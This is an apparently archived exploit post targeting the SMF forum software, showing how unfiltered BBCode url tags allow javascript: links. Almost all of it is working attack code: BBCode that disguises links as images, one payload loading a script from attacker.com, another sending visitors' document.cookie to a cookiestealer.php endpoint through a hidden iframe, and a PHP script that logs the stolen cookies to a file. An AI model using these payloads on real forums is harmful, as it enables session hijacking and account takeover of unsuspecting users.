SMF Cookie Stealing

`Author: Xianur0  
  
BBCode of the smf not filtered properly specified urls:  
  
[center][size=14pt][url=javascript:alert('xss')]Saltando Filtro  
:D...[/url][/size]  
[url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center]  
  
Click on the image, run the javascript..  
  
BBC Cookie Exploit:  
  
[center][size=14pt][url=][/url][/size]  
[url=javascript:document.write('<iframe width="0%" height="0%"  
src="http://www.attacker.com/cookiestealer.php?cookie=' +  
document.cookie +'">  
frameborder="0%">');][img]http://www.google.com.mx/intl/es_mx/images/logo.gif[/img][/center]  
  
PHP Cookie Stealer:  
  
<?php  
$cookie = $_GET['cookie'];  
$handler = fopen('cookies.txt', 'a');  
fwrite($handler, $cookie."\n");  
?>  
  
  
`